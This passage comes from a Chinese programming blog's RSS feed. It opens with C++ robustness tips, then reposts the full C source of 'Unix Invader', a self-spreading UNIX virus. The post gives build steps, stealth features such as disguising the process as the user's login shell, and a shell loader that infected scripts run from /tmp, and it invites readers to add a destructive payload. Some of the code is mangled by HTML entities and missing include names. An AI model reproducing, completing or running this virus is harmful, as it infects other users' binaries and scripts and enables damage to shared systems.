      Typedef int BOOL;<br />
      #define FALSE 0<br />
      #define TRUE 1<br />
　　在C++中，一个布尔表达式如果为0则为假，其他则为真。因此，对布尔表达式应该检查是否问假而不是检查是否为真。<br />
　　5 使用句柄和指针<br />
　　初始化一个指针时，要么让其指向一个有效的内存地址，要么设为0（空指针），避免指针指向无效地址。回收指针所指对象时要重新初始化这个指针，并且在指针被释放前为<br />
空时就对其进行处理。对句柄的处理跟指针一样。<br />
　　6 用引用而不是指针做参数<br />
　　用指针做函数的参数可传递一个空指针，很灵活，但也很容易忘了对指针进行初始化。而引用是对象的别名，它必须和有效的对象相关联，不存在空的和没有初始化的引用。<br />
当在函数中收到一个引用参数时，可以肯定这是一个有效的对象。程序用引用做参数比用指针做参数更为健壮。<br />
　　7 强制类型转换(cast)<br />
　　进行数据类型的强制类型转换时，将会调用相应的构造函数或转换函数来创建一个新类型的临时对象。对指针的正确类型转换可消除一个编译错误，但并没改变指针。强制类<br />
型转换破坏了编译器进行类型检查的功能，而这正是编译器查找错误的最有效的机制。为了保证安全性，每一个强制类型转换都需要手工进行类型检查。为尽量避免强制类型转换<br />
，你可以：避免使用多态数据类型；使用更加广泛的基类；提供特殊的存取函数；让编译器隐式处理类型转换等措施。<br />
　　8 使用构造函数和析构函数<br />
　　构造函数需要分配内存，创建资源或者打开文件，这些运算并不总是成功。构造函数没有返回值，没有直接显示错误的方法。一个常见的方法（在很多MFC类中使用）是把对象<br />
创建分为两步：第一步，让构造函数以一种不会出错的方式初始化对象；第二步，让某些初始化函数（如Init或Open）完成工作，这一步可能出错。另一种方法是在构造函数中使<br />
用异常：第一步，以不会出错的方式初始化对象；第二步，用可能在try段内出错的代码初始化对象；第三步，在catch代码里面处理异常。如果出现异常，就会在构造函数里清除<br />
分配的资源，并且再次抛出异常。<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
　　异常处理的一个关键细节就是在栈展开的过程中抛出的异常会终止整个应用程序。在处理异常时经常要调用析构函数，因此析构函数很容易出错，一定要保证析构函数的异常<br />
在析构函数中得到处理。要保证基类的析构函数是虚函数。这样，就算对象是一个指向基类的指针，也会调用派生类的析构函数。否则，就会引起资源泄漏(resource leak)。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/247.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>C编写的UNIX病毒</title>
		<link>http://www.evanjiang.net.cn/archives/144.html</link>
		<comments>http://www.evanjiang.net.cn/archives/144.html#comments</comments>
		<pubDate>Sat, 27 Dec 2008 05:35:16 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[c/c++]]></category>
		<category><![CDATA[other linux]]></category>
		<category><![CDATA[c语言 UNIX 病毒]]></category>

		<guid isPermaLink="false">http://www.hunttech.com.cn/wpblog/?p=144</guid>
		<description><![CDATA[<p> 
        Unix Invader (入侵者)</p>
<p>        /*&#8212;&#8212;&#8212;&#8212;&#8212;-cut from here &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-*/
        /*这是一只 UNIX 下的电脑病毒,
        virus name: Unix Invader (入侵者)
        written by NCKU htk</p>
<p> [...]]]></description>
			<content:encoded><![CDATA[<p> <br />
        Unix Invader (入侵者)</p>
<p>        /*&#8212;&#8212;&#8212;&#8212;&#8212;-cut from here &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-*/<br />
        /*这是一只 UNIX 下的电脑病毒,<br />
        virus name: Unix Invader (入侵者)<br />
        written by NCKU htk</p>
<p>        其特点有:<br />
        1.其具有 daemon process 的特性(lose control tty)<br />
        故该process owner 没在线上,该病毒依旧能作用执行,<br />
        不会被系统终结.<br />
        2.其可感染 UNIX 上 script file 和 各型 binary file<br />
        (当然要属性得宜) ,不重复感染.感染完后,该执行档或<br />
        script file 依旧可执行&#8230;(好像是废话)<br />
        3.其在记忆体上所用的隐藏方法是,扫描passwd file,取用<br />
        该user 的 login shell basename 作为程式名,故,用ps -aux<br />
        (单ps 看不到)或 top 之类的程式,要仔细看,才会被发现&#8230;(有点奸诈)<br />
        4.其不重复长驻,顶多一个 user 一只,目地是为扩大感染能力<br />
        5.其它&#8230;暂时没有.<br />
        6.本来要增加 root kill -9 也杀不死的能力,但,时间有限,且经济<br />
        效益不高所以作罢&#8230;(别跟我说 kill -9 pid 是无敌的,我依然有办法)<br />
        如何实验?<br />
        cp 几个 binary file 到你的 home directory 里,做几个开头字元<br />
        是 # 的 script file &#8230;.<br />
        如何起动?<br />
        1.先把此档案设定为 filename.c<br />
        2. gcc -O -o virus@ filename.c 或 cc -O -o virus@ filename.c<br />
        ^ ^ 很重要一定要有!<br />
        3.然后可能会有些警告讯习,管它&#8230;.,然后,应该会有个 virus@ 档出现<br />
        4. ls -l 看看该(virus@)档案长度多长,记好.<br />
        5.用 vi 或任何 editor 再回来改 filename.c 里面的 #define 后面档案<br />
        长度(有标示 here 的地方)<br />
        6.然后重覆第 2.个步骤,然后得到的 virus@ 才是我们要的.<br />
        7.执行它&#8230;ok! <img src='http://www.evanjiang.net.cn/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>        8.你就中毒了(十秒内)&#8230;&#8230;..以后一旦有适合的档案将会马上被感染&#8230;<br />
        其它:1.此 virus ,小弟未作发作部份,因为,破坏的事人人会做,我不想浪费精力<br />
        想个残忍的破坏动作&#8230;&#8230;..有兴趣的人,可以自己去加上&#8230;.<br />
        2.此 virus ,在UNIX 作业系统下执行,故证明一点&#8230;.只要有人类,没有什<br />
        么不可能有 virus 的 environment,方法是人想出来的.<br />
        3.若以一个 system administrator 的眼光来看此毒,亦可以得到个结论,<br />
        能被此 virus 感染的该帐号,被Crack 的机会是相当高.<br />
        4.此 virus 目前是以线上所有人的 home directory 为感染 search 开端,<br />
        其实,若该user 的目录下有个dynamic symbolic link 到根目录下,search<br />
        就可能把整个wrok station 的目录扫完.<br />
        5.此 virus 并不时时扫描目录,内定是 10 秒,唤醒一次,以免被发现&#8230; <img src='http://www.evanjiang.net.cn/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
        6.此 virus 是翻脸不认人的,所以你自己的目录也会被感染,自己的属姓设定<br />
        是没有用的,所以实验前赶紧搬一搬吧!<br />
        7.任意实验此病毒于公用的工作站是相当不道德的,作者是在自己的 linux上<br />
        实验,您&#8230;自个好自为之,被抓到或被踢除帐号,别怪作者htk<br />
        没先跟你说.<br />
        OK?<br />
        大家好好玩吧!<br />
<span id="more-144"></span><br />
        注:Dark Slayer 乃现任 Taiwan Power Virus Orginization 头头是也&#8230;</p>
<p>        */</p>
<p>        /* VIRUS IN UNIX !!!! */<br />
        /* written by NCKU EE htk */<br />
        #include<br />
        #include<br />
        #include<br />
        #include<br />
        #include<br />
        #include<br />
        #include<br />
        #include<br />
        #include<br />
        #include<br />
        #include<br />
        #include<br />
        #include<br />
        #include<br />
        #include<br />
        #include<br />
        #include</p>
<p>        #define CHK 512<br />
        #define PERM S_IRWXU<br />
        #define CHKT 10<br />
        #define LOADER &#8220;\nrm -f /tmp/.@`whoami`;cat &lt; &#8221;<br />
        #define LOADER2 &#8221; |tail -c 18606 &gt;/tmp/.@`whoami`;chmod 700<br />
        /tmp/.@`whoami`;/tmp/.@`whoami`;rm -f /tmp/.@`whoami`;exit;\n&#8221;<br />
        /* ^^^^^modify here !!! */<br />
        #define VL 18606<br />
        /* and ^^^^^ here !!! */<br />
        #define VLL -VL</p>
<p>        #define BUFSIZE 25088<br />
        #define BSI 80<br />
        #define EXE 1<br />
        #define SCR 2<br />
        struct flock bk;<br />
        int fo,f,status=NULL;<br />
        int flagn=0;<br />
        void main(argc,argv,envp)<br />
        int argc;<br />
        char *argv[];<br />
        char *envp[];<br />
        {<br />
        char *buf2,*fname;<br />
        static char pidp[BSI]=&#8221;/tmp/.&#8221;;<br />
        static char bufr[BSI]=&#8221;";<br />
        static int dec;<br />
        unsigned int k,kep;<br />
        struct passwd *getp;<br />
        int caller(void);<br />
        int chec(int);<br />
        char *base(char *);<br />
        char *find(void);<br />
        void catch(void);<br />
        int check(char *,int);<br />
        signal(SIGCLD,SIG_IGN);</p>
<p>        strcat(pidp,ecvt((double)getuid(),chec(getuid()),&amp;dec,&amp;dec));</p>
<p>        fname=(char *)tempnam(&#8220;/tmp&#8221;,NULL);<br />
        buf2=(char *)malloc(BUFSIZE);<br />
        if((fo=open(argv[0],O_RDONLY))&lt;0 || (f=creat(fname,PERM))&lt;0) exit(1);<br />
        if((kep=lseek(fo,0L,2))&gt;2*VL)<br />
        {<br />
        lseek(fo,VLL,2);<br />
        k=read(fo,buf2,VL);<br />
        write(f,buf2,k);<br />
        lseek(fo,VL,0);<br />
        while((k=read(fo,buf2,BUFSIZE))&gt;0)<br />
        write(f,buf2,k);<br />
        /* ignore more lefting virus in a tail */<br />
        }<br />
        else<br />
        {<br />
        lseek(fo,VL-kep,2);<br />
        k=read(fo,buf2,kep-VL);<br />
        write(f,buf2,k);<br />
        }<br />
        close(f);<br />
        chmod(fname,S_IRWXU);<br />
        free(buf2);</p>
<p>        if((kep=fork())&gt;0)<br />
        {<br />
        for(k=0;k if(*(argv[0]+k)==&#8217;@') exit(0);<br />
        execve(fname,argv,envp);<br />
        }<br />
        else<br />
        if(kep==0)<br />
        {<br />
        sleep(2);<br />
        unlink(fname);</p>
<p>        for(k=0;k getp=(struct passwd *)getpwuid(getuid());<br />
        strcpy(argv[0],base(getp-&gt;pw_shell));</p>
<p>        /* initialize daemon process &#8230; */</p>
<p>        for(k=0;k&lt;2;k++) close(k);<br />
        umask(0);<br />
        if(fork()!=0)exit(0);<br />
        signal(SIGHUP,SIG_IGN);<br />
        signal(SIGINT,SIG_IGN);<br />
        signal(SIGTTOU,SIG_IGN);<br />
        setpgrp();<br />
        if((kep=open(&#8220;/dev/tty&#8221;,O_RDWR))&gt;=0)<br />
        { ioctl(kep,TIOCNOTTY,(char *)0);<br />
        close(kep);<br />
        }<br />
        if(fork()!=0)exit(0);<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
        signal(SIGUSR1,catch);<br />
        if((kep=open(pidp,O_CREAT|O_RDWR,S_IRUSR|S_IWUSR))&lt;0) exit(1);<br />
        k=read(kep,bufr,BSI);<br />
        if(k!=0) kill(atoi(bufr),SIGUSR1);</p>
<p>        strcpy(bufr,ecvt((double)getpid(),chec(getpid()),&amp;dec,&amp;dec));<br />
        lseek(kep,0L,0);<br />
        do{<br />
        k=write(kep,bufr,strlen(pidp)+1);<br />
        while((buf2=find())!=NULL)<br />
        {<br />
        getp=(struct passwd *)getpwnam(buf2);<br />
        if(chdir((buf2=(char *)getp-&gt;pw_dir))&lt;0) continue;<br />
        if(ftw(buf2,caller,15)!=0) continue;<br />
        }</p>
<p>        sleep(CHKT);<br />
        setutent();<br />
        lseek(kep,0L,0);<br />
        }while(1);<br />
        }<br />
        }<br />
        int chec(num)<br />
        int num;<br />
        {<br />
        int y=1;<br />
        while((num=(int)(num/10))&gt;=1) y++;<br />
        return(y);<br />
        }<br />
        void catch(void)<br />
        {<br />
        flagn=1;<br />
        }</p>
<p>        char *base(poi)<br />
        char *poi;<br />
        { int i;<br />
        for(i=(strlen(poi)-1);i&gt;=0;i&#8211;)<br />
        if(*(poi+i)==&#8217;/') return((char *)(poi+i+1));<br />
        return(&#8220;sh&#8221;);<br />
        }<br />
        char *find()<br />
        {<br />
        static char name[9]=&#8221;";<br />
        struct utmp *goal;<br />
        goal=(struct utmp *)getutent();<br />
        if(goal-&gt;ut_type==USER_PROCESS)<br />
        {<br />
        strcpy(name,goal-&gt;ut_user);<br />
        return(name);<br />
        }<br />
        if(goal==(struct utmp *)NULL) return(NULL);<br />
        }</p>
<p>        int caller(name,statptr,type)<br />
        char *name;<br />
        struct stat *statptr;<br />
        int type;<br />
        { unsigned int nread,ymode;<br />
        static char load[200];<br />
        char buf[VL],buf3[VL];<br />
        if(type==FTW_F)<br />
        {<br />
        ymode=statptr-&gt;st_mode;<br />
        if(check(name,ymode)&lt;0)<br />
        { if(statptr-&gt;st_uid==getuid()) chmod(name,ymode);<br />
        return(0);<br />
        }<br />
        if( status==SCR )<br />
        {<br />
        strcpy(load,LOADER);<br />
        strcat(load,name);<br />
        strcat(load,LOADER2);<br />
        lseek(f,0L,2);<br />
        write(f,load,strlen(load));<br />
        lseek(fo,0L,0);<br />
        nread=read(fo,buf,VL);<br />
        write(f,buf,nread);<br />
        }<br />
        if( status==EXE )<br />
        {</p>
<p>        if(statptr-&gt;st_size&gt;VL)<br />
        {<br />
        lseek(f,0L,0);<br />
        nread=read(f,buf,VL);<br />
        lseek(f,0L,2);<br />
        write(f,buf,nread);<br />
        lseek(fo,0L,0);<br />
        nread=read(fo,buf,VL);<br />
        lseek(f,0L,0);<br />
        write(f,buf,nread);<br />
        }<br />
        else<br />
        {<br />
        lseek(f,0L,0);<br />
        nread=read(f,buf3,VL);<br />
        ymode=nread;<br />
        lseek(fo,0L,0);<br />
        nread=read(fo,buf,VL);<br />
        lseek(f,0L,0);<br />
        write(f,buf,nread);<br />
        write(f,buf3,ymode);<br />
        }<br />
        }<br />
        /* lseek(f,0L,0);<br />
        lockf(f,F_ULOCK,0); */<br />
        /* author&#8217;s linux library has no above program library */</p>
<p>        bk.l_type=F_UNLCK;<br />
        bk.l_whence=0;<br />
        bk.l_len=0;<br />
        bk.l_start=0;<br />
        fcntl(f,F_SETLK,&amp;bk);</p>
<p>        if(statptr-&gt;st_uid==getuid()) chmod(name,ymode);<br />
        close(f);<br />
        }<br />
        if(flagn) exit(0);<br />
        return(0);<br />
        }<br />
        int check(name,ymode)<br />
        char *name;<br />
        int ymode;<br />
        {<br />
        char ch[CHK];<br />
        char ch2[CHK];<br />
        int rd,i;<br />
        status=(int)NULL;<br />
        if((f=open(name,O_RDWR))&lt;0)<br />
        {<br />
        if(chmod(name,ymode|S_IRUSR|S_IWUSR)&lt;0) return(-1);<br />
        if((f=open(name,O_RDWR))&lt;0) return(-1);<br />
        }<br />
        /* if(lockf(f,F_TLOCK,0)&lt;0) { close(f); return(-1); } */</p>
<p>        bk.l_type=F_WRLCK;<br />
        bk.l_whence=0;<br />
        bk.l_len=0;<br />
        bk.l_start=0;<br />
        if(fcntl(f,F_SETLK,&amp;bk)&lt;0) { close(f); return(-1); }</p>
<p>        lseek(f,0L,0);<br />
        rd=read(f,ch,CHK);<br />
        lseek(fo,0L,0);<br />
        read(fo,ch2,rd);<br />
        for(i=0;i if(ch[i]!=ch2[i])<br />
        {<br />
        if( ch[0]!=&#8217;#&#8217; &amp;&amp; (ymode&amp;(S_IXUSR|S_IXGRP|S_IXOTH)) )<br />
        {<br />
        status=EXE; return(1); }<br />
        else<br />
        if( ch[0]==&#8217;#&#8217; &amp;&amp; lseek(f,0L,2)&gt;VL ) /* you can improve the rule */<br />
        {<br />
        lseek(f,VLL,2);<br />
        rd=read(f,ch,CHK);<br />
        lseek(fo,0L,0);<br />
        read(fo,ch2,rd);<br />
        for(i=0;i if(ch[i]!=ch2[i])<br />
        { status=SCR; return(1); }<br />
        }<br />
        else if(ch[0]==&#8217;#')<br />
        { status=SCR; return(1); }<br />
        break;<br />
        }<br />
        close(f);<br />
        return(-1);<br />
        }</p>
<p>        /*&#8212;&#8212;&#8212;&#8212;&#8212;-virus end&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;*/<</p>
<div><span><br />
</span></div>
<p>
<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/144.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
